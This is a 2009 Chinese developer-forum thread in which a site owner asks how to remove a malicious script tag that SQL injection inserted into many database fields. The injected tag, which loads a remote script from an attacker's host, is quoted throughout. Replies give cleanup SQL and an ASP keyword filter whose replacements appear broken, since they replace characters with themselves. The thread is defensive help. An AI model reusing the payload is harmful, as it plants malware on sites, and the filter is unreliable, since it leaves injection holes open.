,请大家帮忙解决!", "upDate": "2021-05-28T15:22:27+08:00" }

我公司网站让人SQL注入,,请大家帮忙解决!

wjy217213 2009-01-19 03:15:36
我公司网站让人SQL注入,<script src=http://3bo%6Db.com/c.js></script>,请大家帮忙解决!

表中有好几个字段后面都加上了<script src=http://3bo%6Db.com/c.js></script>,例如/product_photo/001/small/2008062051505501.jpg<script src=http://3bo%6Db.com/c.js></script>

怎么写SQL语句只把<script src=http://3bo%6Db.com/c.js></script>删除,保留原值。这个是最急着解决的。

然后再请大家帮忙如何根治。
...全文
705 20 打赏 收藏 转发到动态 举报
写回复
用AI写文章
20 条回复
切换为时间正序
请发表友善的回复…
发表回复
liyongjieli 2010-12-10
  • 打赏
  • 举报
回复
关键技术都没有人说啊,怎么防止挂马才是根本,总是清理也解决不了别人不挂了!
xiaominjun 2009-02-02
  • 打赏
  • 举报
回复
request的时候 自己写个函数把敏感字符替换成HTML编码就可以了。



function FormatSQL(str)
if isnull(str) then
str = ""
exit function
end if
str=trim(str)

str=DSConvert(str,0)



' str=replace(str,"&","&") '&
' str=replace(str,";",";") '分号 第一次保存没问题。如果修改了。。这些字符就会重新替换
str=replace(str,"'","'") '单引号
str=replace(str,"""",""") '双引号
str=replace(str,"chr(9)"," ") '空格
str=replace(str,"chr(10)","<br>") '回车
str=replace(str,"chr(13)","<br>") '回车
str=replace(str,"chr(32)"," ") '空格
str=replace(str,"chr(34)",""") '双引号
str=replace(str,"chr(39)","'") '单引号

str=replace(str,"<","<") '左<
str=replace(str,">",">") '右>
str=replace(str,"(","(") '左(
str=replace(str,")",")") '右)
str=replace(str,"*","*") '*
str=replace(str,"--","--") 'SQL注释符


str=Replace(str, "script", "script")'script
str=Replace(str, "select", "select")'script
str=Replace(str, "insert", "insert")'script
str=Replace(str, "update", "update")'script
str=Replace(str, "exec", "exec")'script

str=replace(str,"|","|") '把select,insert,update,script 里的T转成HTML编码
str=replace(str,"=","=") '把select,insert,update,script 里的T转成HTML编码

FormatSQL=str
end function
run_pig 2009-02-02
  • 打赏
  • 举报
回复
http://www.21aspx.com/article_info.php?id=40
我写的一篇原创文章,可能对你有帮助
至于说是ASP程序员的问题,这个可以说是对的,但是这种挂马方式是针对sqlserver数据库的,同样的挂马方式对于access是不起作用的,一般的防注入程序也防不住,需要在注入过滤字符中加sql敏感字符才行
Atai-Lu 2009-01-31
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 xiaojing7 的回复:]
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
[/Quote]
呃,建议看下这里

这个帖子很好很强大,呵呵

比较全的了,就怕楼主没耐心看
gmlwl 2009-01-31
  • 打赏
  • 举报
回复
替换掉管什么用?
漏洞依然存在。

不要治标不治本
safarist 2009-01-30
  • 打赏
  • 举报
回复
asp程序员的问题!
不合格!!!!
ZJ159 2009-01-30
  • 打赏
  • 举报
回复
yousite1 2009-01-23
  • 打赏
  • 举报
回复
嗯,楼上好多人回答了,学习一下。
Dogfish 2009-01-23
  • 打赏
  • 举报
回复
请用之前,一定要先备份。即使有99%的把握。
[Quote=引用 11 楼 dogfish 的回复:]
根据一个类似案件修改的。楼主自己检查一下和修改一下,应该可以的。


SQL codeDECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('upd…
[/Quote]
Dogfish 2009-01-23
  • 打赏
  • 举报
回复
根据一个类似案件修改的。楼主自己检查一下和修改一下,应该可以的。

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''<script src=http://3bo%6Db.com/c.js> </script>'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
cao_love 2009-01-23
  • 打赏
  • 举报
回复
不知道怎么解决,up
ChinaXtHuLang 2009-01-20
  • 打赏
  • 举报
回复
帮顶。。不会
zzxap 2009-01-20
  • 打赏
  • 举报
回复

DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

zzxap 2009-01-20
  • 打赏
  • 举报
回复

update table set a=REPLACE(a,' <script src=http://3bo%6Db.com/c.js> </script>', '')
b=REPLACE(b,' <script src=http://3bo%6Db.com/c.js> </script>', '')
c=REPLACE(c,' <script src=http://3bo%6Db.com/c.js> </script>', '')
d=REPLACE(d,' <script src=http://3bo%6Db.com/c.js> </script>', '')
e=REPLACE(e,' <script src=http://3bo%6Db.com/c.js> </script>', '')
f=REPLACE(f,' <script src=http://3bo%6Db.com/c.js> </script>', '')
zzxap 2009-01-20
  • 打赏
  • 举报
回复
update table set a=REPLACE(a,'<script src=http://3bo%6Db.com/c.js> </script>', '')
beacoder 2009-01-20
  • 打赏
  • 举报
回复
declare @t varchar(555),@c varchar(555) ,@inScript varchar(max)
set @inScript='<script src=http://3bo%6Db.com/c.js> </script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id
and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(max)),'''+@inScript+''','''')' )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;
--by_beacoder
三楼の郎 2009-01-20
  • 打赏
  • 举报
回复
替换字段里的指定字符串

update table set col=replace(col,'你要替换的字符串','')


表里的字段可以用sp_columns这个存储过程取到
所有表可以用sp_tables这个存储过程取到
所有数据库可以用sp_databases这个存储过程取到

剩下就是遍历所有数据库,所有表,所有字段然后替换里面的字符串就可以了。
wjy217213 2009-01-19
  • 打赏
  • 举报
回复
数据库,里面大部分的表,只要是varchar类型的字段都被注入了
写什么SQL语句能把整个数据库里的字段全改了呀?
wjy217213 2009-01-19
  • 打赏
  • 举报
回复
我用SQL语句把数据库里的字段改好了,需要把表单提交的地方 加上sql注入的验证;就是把提交字符串 加一个过滤就可以了;我们用的是风讯的新闻管理系统 ,怎么做呀?
xiaojing7 2009-01-19
  • 打赏
  • 举报
回复
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
YOLO高分设计资源源码,详情查看资源内容中使用说明 YOLO高分设计资源源码,详情查看资源内容中使用说明 YOLO高分设计资源源码,详情查看资源内容中使用说明 YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明YOLO高分设计资源源码,详情查看资源内容中使用说明

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧